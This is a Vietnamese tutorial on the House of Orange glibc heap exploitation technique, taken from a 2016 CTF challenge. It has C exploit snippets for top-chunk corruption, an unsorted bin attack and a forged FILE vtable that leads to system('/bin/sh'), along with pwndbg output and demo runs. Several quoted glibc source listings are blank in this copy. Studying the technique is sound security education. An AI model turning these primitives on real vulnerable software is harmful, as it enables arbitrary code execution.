Kỹ thuật Heap Exploitation - House of Orange
Tìm hiểu chi tiết về cơ chế hoạt động của kỹ thuật khai thác heap House of Orange.
Summary: House of Orange là một kỹ thuật khai thác heap hiệu quả trên glibc <= 2.23, lợi dụng heap overflow ghi đè kích thước top chunk, ép ptmalloc giải phóng vào unsorted bin, leak địa chỉ libc và thực hiện unsorted bin attack để kiểm soát _IO_list_all, chèn file pointer giả mạo chiếm quyền thực thi thông qua FSOP trong quá trình abort.
Introduction
House of Orange là một kỹ thuật khai thác heap lợi dụng việc có thể overflow đến top chunk (hay còn gọi là wilderness chunk), từ đó tiếp tục tác động tới cấu trúc _IO_list_all trong glibc để chiếm quyền ghi/thực thi. Kỹ thuật này xuất phát từ writeup của challenge cùng tên bởi Angleboy tại HITCON CTF Quals 2016:
https://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html.
Core Idea
Thông thường, khi khai thác heap, chúng ta thường phụ thuộc vào hàm free hoặc các hàm tương tự để giải phóng chunk vào các bins, dẫn đến việc leak các địa chỉ quan trọng. Tuy nhiên, nếu chương trình không cung cấp các hàm như vậy, liệu chúng ta còn cách nào để ép ptmalloc giải phóng các chunk?
Cốt lõi của House of Orange là ép ptmalloc tự động giải phóng top chunk vào unsorted bin mà không cần gọi trực tiếp tới hàm free. Quá trình này diễn ra khi kích thước top chunk hiện tại không đủ để đáp ứng yêu cầu cấp phát của malloc, buộc ptmalloc phải giải phóng top chunk và đưa nó vào unsorted bin.
Cụ thể, khi malloc (tiếp tục gọi đến _int_malloc) không tìm được chunk phù hợp trong các bin fastbins, smallbins, unsortedbins, largebins, nó sẽ tiến hành cắt một phần từ top chunk để trả về. Quá trình này khiến top chunk dần bị thu hẹp lại.
| |
Khi kích thước top chunk không còn đủ để cấp phát, sysmalloc sẽ được gọi để mở rộng heap:
| |
Có ba tình huống khi mở rộng heap, ở đây chúng ta chỉ bàn đến main arena. Trường hợp đầu tiên, nếu vùng mở rộng nằm ngay sau vùng cũ, ptmalloc sẽ nối tiếp trực tiếp, không giải phóng top chunk.
| |
Trường hợp thứ hai, vẫn là mở rộng nối liền nhưng gặp các yếu tố bất thường, ptmalloc có thể phải giải phóng top chunk, tuy nhiên điều này hiếm khi xảy ra.
| |
Trường hợp thứ ba phổ biến hơn là khi vùng mở rộng không liền kề với heap cũ, có thể do phân mảnh, hết không gian liền mạch hoặc bị giới hạn tài nguyên. Khi đó, ptmalloc buộc phải giải phóng top chunk để có thể tái sử dụng sau này:
| |
| |
Tuy nhiên, việc này phụ thuộc vào nhiều yếu tố khác như trạng thái bộ nhớ, cấu trúc heap, hệ điều hành và chương trình,… nên việc yêu cầu thêm vùng nhớ không đảm bảo sẽ giải phóng top chunk. Do đó, kỹ thuật khai thác này không đảm bảo luôn thành công.
Nếu rơi vào trường hợp top chunk được giải phóng, trước đó một top chunk được coi là hợp lệ phải đáp ứng các điều kiện sau:
| |
Nếu sysmalloc được gọi lần đầu tiên, top chunk có thể chưa được khởi tạo, nên kích thước bằng 0 và vị trí nằm ngay sau vùng được cấp phát cho arena. Nếu top chunk đã tồn tại, kích thước phải lớn hơn hoặc bằng MINSIZE (= 32 byte trên kiến trúc 64-bit) để có thể chứa metadata, đồng thời bit prev_inuse phải được set để tránh gộp nhầm với chunk trước đó nếu chunk đó được giải phóng. Địa chỉ kết thúc của top chunk cũng phải được căn chỉnh theo đơn vị page, vì kernel chỉ cấp phát bộ nhớ theo page (thường là 4KB). Cuối cùng, để kích hoạt cơ chế mở rộng heap, kích thước top chunk hiện tại phải nhỏ hơn kích thước cấp phát yêu cầu cộng với MINSIZE.
Tóm lại, các điều kiện là:
MINSIZE<= Kích thước top chunk < Kích thước yêu cầu +MINSIZE.prev_inuse = 1.- Địa chỉ kết thúc của top chunk căn chỉnh theo page.
Thỏa mãn các điều kiện này, _int_free được thực thi và đặt top chunk vào unsorted bin.
Example
Phase 1 - free top chunk
Đầu tiên, chúng ta tiến hành cấp phát một chunk có kích thước 0x400 byte trên heap.
char *p1 = malloc(0x400 - 16);Ở lần khởi tạo đầu tiên, glibc sẽ sử dụng mmap để tạo heap. Kích thước thực tế được cấp phát cho top chunk thường là 0x21000 thay vì 0x20000, do cần thêm các vùng cho việc quản lý heap, và sau đó căn chỉnh theo page. Sau khi cấp phát chunk 0x400 byte, top chunk còn lại 0x20c00 byte, và prev_inuse bit được đặt, nên giá trị cuối cùng là 0x20c01.
pwndbg> heap -v
Allocated chunk | PREV_INUSE
Addr: 0x29d50000
prev_size: 0x00
size: 0x401
fd: 0x00
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00
Top chunk | PREV_INUSE
Addr: 0x29d50400
prev_size: 0x00
size: 0x20c01
fd: 0x00
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00Tiếp theo, chúng ta sẽ ghi đè kích thước của top chunk thành một giá trị nhỏ hơn, nhưng cần đảm bảo rằng địa chỉ kết thúc của top chunk (tính bằng địa chỉ bắt đầu cộng với kích thước, old_end = (char *) (chunk_at_offset (old_top, old_size))) vẫn phải được căn chỉnh theo page, và prev_inuse bit phải được set.
Giả sử có lỗ hổng nào đó cho phép chúng ta ghi đè đến top chunk:
┌────────top[0] = p1 + 0x400 - 16
│ ┌─────top[1]: size
┌──p1 │ │ ┌──p1 + 0x400
▼ ▼ ▼ ▼
┌──┬──┬─────────────────┬──┬──┬──────────────────────────┐
│ │ │ │ │ │ │
│ │ │ chunk │ │ │ top chunk │
│ │ │ │ │ │ │
└──┴──┴─────────────────┴──┴──┴──────────────────────────┘size_t *top = (size_t *)((char *)p1 + 0x400 - 16);
top[1] = 0xc01;Xác nhận ghi đè thành công:
pwndbg> heap -v
Allocated chunk | PREV_INUSE
Addr: 0x29d50000
prev_size: 0x00
size: 0x401
fd: 0x00
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00
Top chunk | PREV_INUSE
Addr: 0x29d50400
prev_size: 0x00
size: 0xc01
fd: 0x00
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00Bây giờ, chúng ta sẽ cấp phát một chunk với kích thước lớn hơn kích thước giả mạo của top chunk. Điều này buộc ptmalloc phải gọi sysmalloc để mở rộng heap thông qua.
Trước khi mở rộng, trạng thái heap bình thường sẽ như sau:
┌──────────┬────────────────┐
│ │ │
│ chunk │ top chunk │
│ │ │
└──────────┴────────────────┘
▲ ▲
│ │
heap start heap endMở rộng sau lời gọi cấp phát, heap sẽ trông như sau:
┌──────fencepost 1
│ ┌────fencepost 2
▼ ▼
┌──────────┬─────────────────┬─┬─┐ ┌───────────────────┐
│ │ │ │ │ │ │
│ chunk │ old top chunk │ │ │...│ new top chunk │
│ │ │ │ │ │ │
└──────────┴─────────────────┴─┴─┘ └───────────────────┘
▲ ▲ ▲
│ │ │
heap start old heap end new heap endChúng ta đang xem xét với trường hợp vùng mở rộng nằm tách biệt so với vùng heap cũ, nên top chunk mới không liền kề với top chunk cũ. Trước khi được top chunk cũ, hai fencepost được cắt ra ở cuối, mỗi cái có kích thước 16 byte trên kiến trúc 64-bit. Fencepost được đánh dấu là in-use để ptmalloc tránh các vấn đề về hợp nhất và phân chia ranh giới.
Sau khi mở rộng heap, do kích thước giả của top chunk cũ không nằm trong giới hạn của fastbin, chunk này sẽ được đưa vào unsorted bin:
┌──────────┬─────────────────┬─┬─┐ ┌───────────────────┐
│ │ │ │ │ │ │
│ chunk │ free chunk │ │ │...│ new top chunk │
│ │ │ │ │ │ │
└──────────┴──┬──────────────┴─┴─┘ └───────────────────┘
▲ ▲ │ ▲
│ │ ▼ │
heap start unsortedbin heap endpwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x29d50000
Size: 0x401
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x29d50400
Size: 0xbe1
fd: 0x7fc11bf1bb78
bk: 0x7fc11bf1bb78
Allocated chunk
Addr: 0x29d50fe0
Size: 0x10
Allocated chunk | PREV_INUSE
Addr: 0x29d50ff0
Size: 0x11
Allocated chunk
Addr: 0x29d51000
Size: 0x00Để ý rằng, top chunk mới không nằm sau fencepost nên kích thước của “chunk” tại 0x29d51000 là 0x00.
pwndbg> bins
fastbins
empty
unsortedbin
all: 0x29d50400 —▸ 0x7fc11bf1bb78 (main_arena+88) ◂— 0x29d50400
smallbins
empty
largebins
emptyPhase 2 - FSOP
Như vậy, chúng ta đã hoàn thành giai đoạn 1 của quá trình khai thác. Sang giai đoạn 2, chúng ta tiếp tục lợi dụng overflow để ghi đè con trỏ fd và bk của top chunk cũ đã được đưa vào unsorted bin. Sau khi đã kiểm soát được các con trỏ này, có hai hướng khai thác tiếp theo. Một trong số đó là lợi dụng khả năng ghi đè này để cấp phát tới một địa chỉ bất kỳ tương ứng với giá trị đã ghi vào con trỏ fd. Hướng này yêu cầu ít nhất hai 2 cấp phát:
┌───────────────────────────────────────────────────────────────────────────┐
┌──┼──────────────────────────────────────┐ │
│ ▼ unsorted bin ▼ old top chunk │
│ ┌─────────────────────────────────┐ ┌─►┌────────────────┬──────────┬─┬─┬─┐ │ ┌────────────────┐
│ │ │ │ │ PREV_SIZE │CHUNK_SIZE│A│M│P│ │ │ TARGET ADDRESS │
│ ├────────────────┬────────────────┤ │ ├────────────────┼──────────┴─┴─┴─┤ │ └────────────────┘
└──┼────── FD │ BK ──────┼─┘ │ FD ───┐ │ BK ──────┼──┘ ▲
└────────────────┴────────────────┘ ├─────────────┼──┴────────────────┤ │
│ │ │ │
│ └───────────────────┼─────────────┘
│ │
└─────────────────────────────────┘ Ở lần cấp phát thứ nhất, con trỏ fd của unsorted bin sẽ trỏ tới địa chỉ mong muốn. Ở lần cấp phát tiếp theo, ptmalloc sẽ trả về chunk tại địa chỉ này, cho phép chúng ta kiểm soát vùng nhớ tùy ý.
Hướng khai thác này khá đơn giản nên không cần bàn thêm. Chúng ta sẽ bàn đến hướng khai thác lợi dụng cách _int_malloc gỡ node ra khỏi unsorted bin (sử dụng doubly linked list). Hướng này chỉ cần ít nhất một lần cấp phát, nhưng đòi hỏi phải có lỗ hổng cho phép leak địa chỉ của libc để tính được địa chỉ của _IO_list_all. Quá trình khai thác tận dụng việc glibc sẽ gọi abort khi phát hiện tham nhũng bộ nhớ (memory corruption), cụ thể là sau khi chúng ta làm hỏng heap.
Chúng ta cùng quan sát quá trình glibc bắt đầu phát hiện corruption, xảy ra tại _int_malloc:
| |
Nếu phát hiện memory corruption, gọi đến malloc_printerr:
| |
Tiếp tục gọi đến abort:
| |
Rồi gọi đến fflush, được định nghĩa là _IO_flush_all_lockp:
| |
| |
Tại đây, hàm sử dụng con trỏ _IO_list_all và duyệt qua các _IO_FILE hiện có, và bởi là linked list nên sẽ đi đến node tiếp theo qua con trỏ fp->_chain, và gọi _IO_OVERFLOW trong vtable của từng node, với đối số là file pointer hiện tại: fp.
| |
Vậy ý tưởng như sau, chúng ta ghi đè địa chỉ của _IO_list_all bằng một file pointer giả mạo, trong đó con trỏ _IO_OVERFLOW sẽ trỏ đến hàm system(), và 8 byte đầu tiên của file pointer này chứa chuỗi /bin/sh. Khi glibc gọi _IO_OVERFLOW(fp, EOF), thực chất sẽ gọi system("/bin/sh"), từ đó mở một shell và cho phép thực thi lệnh trên hệ thống. Kỹ thuật này được gọi là FSOP - File Stream Oriented Programming.
Quay lại với ví dụ, sau khi top chunk được free và đưa vào unsorted bin, các con trỏ fd và bk của nó đang trỏ đến head của unsorted bin. Chúng ta có thể tính được địa chỉ của _IO_list_all bằng cách lấy địa chỉ của head unsorted bin cộng với một offset tính được như sau:
pwndbg> unsortedbin
unsortedbin
all: 0x29d50400 —▸ 0x7fc11bf1bb78 (main_arena+88) ◂— 0x29d50400
pwndbg> p &_IO_list_all
$3 = (struct _IO_FILE_plus **) 0x7fc11bf1c520 <_IO_list_all>
pwndbg> p/x 0x7fc11bf1c520 - 0x7fc11bf1bb78
$4 = 0x9a8Offset là 0x9a8 byte, ta cộng vào top[2], là con trỏ fd, trỏ đến head của unsorted bin:
size_t io_list_all = top[2] + 0x9a8;Hiện tại, do không có chunk nào phù hợp nằm trong fastbin, khi có yêu cầu cấp phát, ptmalloc sẽ tìm kiếm chunk trong unsorted bin theo chiều bk. Đối với mỗi chunk trong unsorted bin mà ptmalloc duyệt tới, do đây là double linked list, ptmalloc sẽ thực hiện việc chunk ra khỏi unsorted bin. Nếu kích thước chunk đúng với yêu cầu, chunk sẽ được trả về ngay cho người dùng. Nếu không khớp, chunk sẽ được chuyển vào các bin tương ứng với kích thước của nó, sau đó ptmalloc tiếp tục duyệt chunk tiếp theo trong unsorted bin và lặp lại.
Lợi dụng quá trình này, chúng ta thực hiện unsorted bin attack, ghi đè địa chỉ của _IO_list_all bằng một file pointer giả mạo, chính là top chunk mà chúng ta đang kiểm soát. Cụ thể, trong mã nguồn, khi ptmalloc duyệt qua từng chunk trong unsorted bin, nó sẽ thực hiện các bước sau để gỡ chunk ra khỏi bin:
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
...
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
...Nếu chúng ta ghi đè con trỏ bk của top chunk thành địa chỉ _IO_list_all - 0x10, khi đó bk của unsorted bin cũng sẽ trỏ đến _IO_list_all - 0x10. Sau đó, khi ptmalloc thực hiện việc gỡ, thao tác bck->fd = unsorted_chunks (av) sẽ tương đương với việc ghi địa chỉ của unsorted bin vào _IO_list_all. Kết quả là, _IO_list_all bây giờ sẽ trỏ đến unsorted bin.
top[3] = io_list_all - 0x10; ┌─────────────────────────────────────────────────────────────────────────────┐
│ ┌────┐ │
▼ │ ▼ │
┌─────────────────────────┐ │ ┌─────────────────┐ │
&_IO_list_all - 0x10 ──────────► │ │ │ │ │ │
├─────────────────────────┤ │ ├────────┬────────┤ │
&_IO_list_all ──────────► │ &main_arena.unsortedbin─┼──┘ │ FD │ BK ──┼──┘
└─────────────────────────┘ └────────┴────────┘
_IO_list_all unsortedbin Lúc này, top chunk sẽ bị lấy ra khỏi unsorted bin và được đặt vào các bin khác tương ứng với kích thước. Sau bước này, ptmalloc sẽ tiếp tục duyệt chunk tiếp theo, tức là chunk unsorted_chunks(av)->bk, lúc này đã là _IO_list_all. Tuy nhiên, do không đáp ứng điều kiện về kích thước tối thiểu, chunk này sẽ bị phát hiện là corrupted:
| |
Từ đó, kích hoạt quá trình abort và cuối cùng sẽ gọi đến _IO_OVERFLOW của file pointer giả mạo mà chúng ta đã kiểm soát từ trước.
Trước đó, chúng ta chỉ có thể ghi đè địa chỉ của unsorted bin vào _IO_list_all, nên file pointer đầu tiên được kiểm tra trong quá trình abort chính là unsorted bin. Tuy nhiên, tại thời điểm này, chúng ta không còn kiểm soát được vùng nhớ này để ghi đè vtable giả mạo chứa địa chỉ system() tại vị trí _IO_OVERFLOW. Vì vậy, ý tưởng là kiểm soát file pointer tiếp theo thông qua con trỏ fp->_chain. Chúng ta sẽ tính offset đến trường _chain như sau:
pwndbg> p _IO_list_all
$5 = (struct _IO_FILE_plus *) 0x7fc11bf1c540 <_IO_2_1_stderr_>
pwndbg> p _IO_2_1_stderr_
$6 = {
file = {
_flags = -72537977,
_IO_read_ptr = 0x7fc11bf1c5c3 <_IO_2_1_stderr_+131> "",
_IO_read_end = 0x7fc11bf1c5c3 <_IO_2_1_stderr_+131> "",
_IO_read_base = 0x7fc11bf1c5c3 <_IO_2_1_stderr_+131> "",
_IO_write_base = 0x7fc11bf1c5c3 <_IO_2_1_stderr_+131> "",
_IO_write_ptr = 0x7fc11bf1c5c3 <_IO_2_1_stderr_+131> "",
_IO_write_end = 0x7fc11bf1c5c3 <_IO_2_1_stderr_+131> "",
_IO_buf_base = 0x7fc11bf1c5c3 <_IO_2_1_stderr_+131> "",
_IO_buf_end = 0x7fc11bf1c5c4 <_IO_2_1_stderr_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7fc11bf1c620 <_IO_2_1_stdout_>,
_fileno = 2,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7fc11bf1d770 <_IO_stdfile_2_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7fc11bf1b660 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7fc11bf1a6e0 <_IO_file_jumps>
}
pwndbg> p &_IO_2_1_stderr_.file._chain
$7 = (struct _IO_FILE **) 0x7fc11bf1c5a8 <_IO_2_1_stderr_+104>
pwndbg> p/x 0x7fc11bf1c5a8 - 0x7fc11bf1c540
$8 = 0x68Khoảng cách từ địa chỉ bắt đầu của file pointer đến trường _chain là 0x68, tương ứng với khoảng cách từ địa chỉ của unsorted bin đến smallbin có index là 6. Chúng ta có thể xác nhận điều này bằng cách kiểm tra như sau:
pwndbg> unsortedbin
unsortedbin
all: 0x29d50400 —▸ 0x7fc11bf1bb78 (main_arena+88) ◂— 0x29d50400
pwndbg> p &main_arena.bins
$12 = (mchunkptr (*)[254]) 0x7fc11bf1bb88 <main_arena+104>
pwndbg> x/20gx 0x7fc11bf1bb88-0x10
0x7fc11bf1bb78 <main_arena+88>: 0x0000000029d72010 0x0000000000000000
0x7fc11bf1bb88 <main_arena+104>: 0x0000000029d50400 0x0000000029d50400 # unsortedbin 1 fd bk
0x7fc11bf1bb98 <main_arena+120>: 0x00007fc11bf1bb88 0x00007fc11bf1bb88 # smallbin 2 fd bk
0x7fc11bf1bba8 <main_arena+136>: 0x00007fc11bf1bb98 0x00007fc11bf1bb98 # smallbin 3 fd bk
0x7fc11bf1bbb8 <main_arena+152>: 0x00007fc11bf1bba8 0x00007fc11bf1bba8 # smallbin 4 fd bk
0x7fc11bf1bbc8 <main_arena+168>: 0x00007fc11bf1bbb8 0x00007fc11bf1bbb8 # smallbin 5 fd bk
0x7fc11bf1bbd8 <main_arena+184>: 0x00007fc11bf1bbc8 --> 0x00007fc11bf1bbc8 # smallbin 6 fd bk
0x7fc11bf1bbe8 <main_arena+200>: 0x00007fc11bf1bbd8 0x00007fc11bf1bbd8 # smallbin 7 fd bk
0x7fc11bf1bbf8 <main_arena+216>: 0x00007fc11bf1bbe8 0x00007fc11bf1bbe8
0x7fc11bf1bc08 <main_arena+232>: 0x00007fc11bf1bbf8 0x00007fc11bf1bbf8
pwndbg> p/x 0x7fc11bf1bbd8 + 0x8 - 0x7fc11bf1bb78
$13 = 0x68Nếu bạn đang thắc mắc tại sao fd và bk của các bin lại trỏ về bin ngay trước nó thì đọc cái này
Đó là do các fake header, giúp cho offset của fd và bk được giữ nguyên giống như các chunk bình thường.
┌─┐
│ ├───────────────────┐
│ ▼ │
│ ┌─────────────────┐ │
smallbin1 │ │ │ │
│ ├────────┬────────┤ │
smallbin2 └─┼── FD │ BK ──┼─┘
└────────┴────────┘ Như vậy, để top chunk lấy ra từ unsorted bin sau đó được đặt vào smallbin 6, kích thước của chunk cần là 2 x 8 (64-bit) x 6 = 96 = 0x60 byte. Chúng ta sẽ đặt size là 0x61 (prev_inuse = 1).
top[1] = 0x61;Sau khi đã đưa chunk vào smallbin thích hợp, trường fp->_chain sẽ trỏ đến file pointer giả mạo mà chúng ta kiểm soát (top chunk).
Bây giờ, chúng ta cần hoàn thiện file pointer giả mạo này. Đầu tiên, ghi 8 byte đầu là chuỗi /bin/bash.
memcpy(top, "/bin/bash", sizeof "/bin/bash");Tiếp đến, cần đảm bảo các điều kiện để _IO_OVERFLOW được gọi:
| |
Điều kiện trong mã nguồn có dạng: if ( (A || B) && C ). Nếu (A || B) là true, chương trình sẽ kiểm tra tiếp C, nếu là false thì bỏ qua luôn C. Ở đây, chúng ta dễ dàng làm cho A đúng, tức là fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base là true.
FILE *fp = (FILE *)top;
fp->_mode = 0; // top+0xc0
fp->_IO_write_base = (char *)1; // top+0x20
fp->_IO_write_ptr = (char *)2; // top+0x28
Chúng ta có thể tính offset tương ứng của chúng như sau:
pwndbg> p &_IO_2_1_stderr_
$14 = (struct _IO_FILE_plus *) 0x7fc11bf1c540 <_IO_2_1_stderr_>
pwndbg> p/x &_IO_2_1_stderr_.file._mode
$22 = 0x7fc11bf1c600
pwndbg> p/x &_IO_2_1_stderr_.file._IO_write_base
$23 = 0x7fc11bf1c560
pwndbg> p/x &_IO_2_1_stderr_.file._IO_write_ptr
$24 = 0x7fc11bf1c568
pwndbg> p/x 0x7fc11bf1c600 - 0x7fc11bf1c540
$25 = 0xc0
pwndbg> p/x 0x7fc11bf1c560 - 0x7fc11bf1c540
$26 = 0x20
pwndbg> p/x 0x7fc11bf1c568 - 0x7fc11bf1c540
$27 = 0x28cTiếp theo, chúng ta cần phải tạo một vtable với _IO_OVERFLOW trỏ đến system(). Để đơn giản hóa ví dụ, ta giả sử có hàm winner() như sau trong mã nguồn:
int winner(char *ptr)
{
system(ptr);
syscall(SYS_exit, 0);
return 0;
}Rồi chúng ta đặt vtable vào đâu đó trong top chunk, tại top + 0x80 = top[16] chẳng hạn:
size_t *jump_table = &top[16];
jump_table[3] = (size_t)&winner;Chúng ta ghi địa chỉ của hàm winner() vào index thứ 3 bởi _IO_OVERFLOW cách 24 byte:
pwndbg> p &_IO_2_1_stderr_.vtable.__overflow
$42 = (_IO_OVERFLOW_t *) 0x7fc11bf1a6f8 <_IO_file_jumps+24>Sau đó ghi địa chỉ của vtable vào vị trí tương ứng cách file pointer 216 = 0xd8 byte:
pwndbg> p &_IO_2_1_stderr_.vtable
$45 = (const struct _IO_jump_t **) 0x7fc11bf1c618 <_IO_2_1_stderr_+216>*(size_t *)((size_t)fp + 0xd8) = (size_t)jump_table;Cuối cùng, ta gọi malloc để cấp phát một chunk với kích thước khác 0x50 byte (để tránh việc thêm header 0x10 thành 0x60 byte bằng với kích thước giả mạo của top chunk), từ đó top chunk bị coi là không phù hợp, bị gỡ ra khỏi unsorted bin, từ đó kích hoạt toàn bộ chuỗi tấn công của chúng ta.
malloc(0x100);Chúng ta có thể thấy được trạng thái của smallbin và heap sau malloc như sau:
pwndbg> bins
fastbins
empty
unsortedbin
all [corrupted]
FD: 0x321e7400 —▸ 0x7f4646b9ebc8 (main_arena+168) ◂— 0x321e7400
BK: 0x7f4646b9f510 ◂— 0x0
smallbins
0x60: 0x321e7400 —▸ 0x7f4646b9ebc8 (main_arena+168) ◂— 0x321e7400
largebins
emptyTop chunk bây giờ là một file pointer giả mạo đúng như chúng ta mong đợi:
pwndbg> x/30gx 0x321e7400
0x321e7400: 0x0068732f6e69622f 0x0000000000000061
0x321e7410: 0x00007f4646b9ebc8 0x00007f4646b9ebc8
0x321e7420: 0x0000000000000000 0x0000000000000001
0x321e7430: 0x0000000000000000 0x0000000000000000
0x321e7440: 0x0000000000000000 0x0000000000000000
0x321e7450: 0x0000000000000000 0x0000000000000000
0x321e7460: 0x0000000000000000 0x0000000000000000
0x321e7470: 0x0000000000000000 0x0000000000000000
vtable ┌─►0x321e7480: 0x0000000000000000 0x0000000000000000
│ 0x321e7490: 0x0000000000000000 0x00000000004007df◄───_IO_OVERFLOW──►winner()
│ 0x321e74a0: 0x0000000000000000 0x0000000000000000
│ 0x321e74b0: 0x0000000000000000 0x0000000000000000
│ 0x321e74c0: 0x0000000000000000 0x0000000000000000
│ 0x321e74d0: 0x0000000000000000 0x00000000321e7480──┐
│ 0x321e74e0: 0x0000000000000000 0x0000000000000000 │
│ │
└──────────────────────────────────────────────────────────────┘ Demo
Kỹ thuật có thể sẽ không thành công 100%, cần thực hiện nhiều lần:
root@c71533184795:/home/ctf# gcc houseoforange.c -o houseoforange
root@c71533184795:/home/ctf# ./houseoforange
The attack vector of this technique was removed by changing the behavior of malloc_printerr, which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).
Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51
*** Error in `./houseoforange': malloc(): memory corruption: 0x00007f8f3c6fa520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f8f3c3ac7f5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8215e)[0x7f8f3c3b715e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f8f3c3b91d4]
./houseoforange[0x4007d8]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f8f3c355840]
./houseoforange[0x4005d9]
======= Memory map: ========
00400000-00401000 r-xp 00000000 00:38 801134 /home/ctf/houseoforange
00600000-00601000 r--p 00000000 00:38 801134 /home/ctf/houseoforange
00601000-00602000 rw-p 00001000 00:38 801134 /home/ctf/houseoforange
1bf33000-1bf76000 rw-p 00000000 00:00 0 [heap]
7f8f38000000-7f8f38021000 rw-p 00000000 00:00 0
7f8f38021000-7f8f3c000000 ---p 00000000 00:00 0
7f8f3c11f000-7f8f3c135000 r-xp 00000000 00:38 24422 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f8f3c135000-7f8f3c334000 ---p 00016000 00:38 24422 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f8f3c334000-7f8f3c335000 rw-p 00015000 00:38 24422 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f8f3c335000-7f8f3c4f5000 r-xp 00000000 00:38 24401 /lib/x86_64-linux-gnu/libc-2.23.so
7f8f3c4f5000-7f8f3c6f5000 ---p 001c0000 00:38 24401 /lib/x86_64-linux-gnu/libc-2.23.so
7f8f3c6f5000-7f8f3c6f9000 r--p 001c0000 00:38 24401 /lib/x86_64-linux-gnu/libc-2.23.so
7f8f3c6f9000-7f8f3c6fb000 rw-p 001c4000 00:38 24401 /lib/x86_64-linux-gnu/libc-2.23.so
7f8f3c6fb000-7f8f3c6ff000 rw-p 00000000 00:00 0
7f8f3c6ff000-7f8f3c725000 r-xp 00000000 00:38 24381 /lib/x86_64-linux-gnu/ld-2.23.so
7f8f3c914000-7f8f3c917000 rw-p 00000000 00:00 0
7f8f3c91d000-7f8f3c91e000 rw-p 00000000 00:00 0
7f8f3c91e000-7f8f3c922000 r--p 00000000 00:00 0 [vvar]
7f8f3c922000-7f8f3c924000 r-xp 00000000 00:00 0 [vdso]
7f8f3c924000-7f8f3c925000 r--p 00025000 00:38 24381 /lib/x86_64-linux-gnu/ld-2.23.so
7f8f3c925000-7f8f3c926000 rw-p 00026000 00:38 24381 /lib/x86_64-linux-gnu/ld-2.23.so
7f8f3c926000-7f8f3c927000 rw-p 00000000 00:00 0
7ffdeedd1000-7ffdeedf2000 rw-p 00000000 00:00 0 [stack]
Segmentation fault (core dumped)
root@c71533184795:/home/ctf# ./houseoforange
The attack vector of this technique was removed by changing the behavior of malloc_printerr, which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).
Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51
*** Error in `./houseoforange': malloc(): memory corruption: 0x00007f353ac2a520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f353a8dc7f5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8215e)[0x7f353a8e715e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f353a8e91d4]
./houseoforange[0x4007d8]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f353a885840]
./houseoforange[0x4005d9]
======= Memory map: ========
00400000-00401000 r-xp 00000000 00:38 801134 /home/ctf/houseoforange
00600000-00601000 r--p 00000000 00:38 801134 /home/ctf/houseoforange
00601000-00602000 rw-p 00001000 00:38 801134 /home/ctf/houseoforange
1e807000-1e84a000 rw-p 00000000 00:00 0 [heap]
7f3534000000-7f3534021000 rw-p 00000000 00:00 0
7f3534021000-7f3538000000 ---p 00000000 00:00 0
7f353a64f000-7f353a665000 r-xp 00000000 00:38 24422 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f353a665000-7f353a864000 ---p 00016000 00:38 24422 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f353a864000-7f353a865000 rw-p 00015000 00:38 24422 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f353a865000-7f353aa25000 r-xp 00000000 00:38 24401 /lib/x86_64-linux-gnu/libc-2.23.so
7f353aa25000-7f353ac25000 ---p 001c0000 00:38 24401 /lib/x86_64-linux-gnu/libc-2.23.so
7f353ac25000-7f353ac29000 r--p 001c0000 00:38 24401 /lib/x86_64-linux-gnu/libc-2.23.so
7f353ac29000-7f353ac2b000 rw-p 001c4000 00:38 24401 /lib/x86_64-linux-gnu/libc-2.23.so
7f353ac2b000-7f353ac2f000 rw-p 00000000 00:00 0
7f353ac2f000-7f353ac55000 r-xp 00000000 00:38 24381 /lib/x86_64-linux-gnu/ld-2.23.so
7f353ae44000-7f353ae47000 rw-p 00000000 00:00 0
7f353ae4d000-7f353ae4e000 rw-p 00000000 00:00 0
7f353ae4e000-7f353ae52000 r--p 00000000 00:00 0 [vvar]
7f353ae52000-7f353ae54000 r-xp 00000000 00:00 0 [vdso]
7f353ae54000-7f353ae55000 r--p 00025000 00:38 24381 /lib/x86_64-linux-gnu/ld-2.23.so
7f353ae55000-7f353ae56000 rw-p 00026000 00:38 24381 /lib/x86_64-linux-gnu/ld-2.23.so
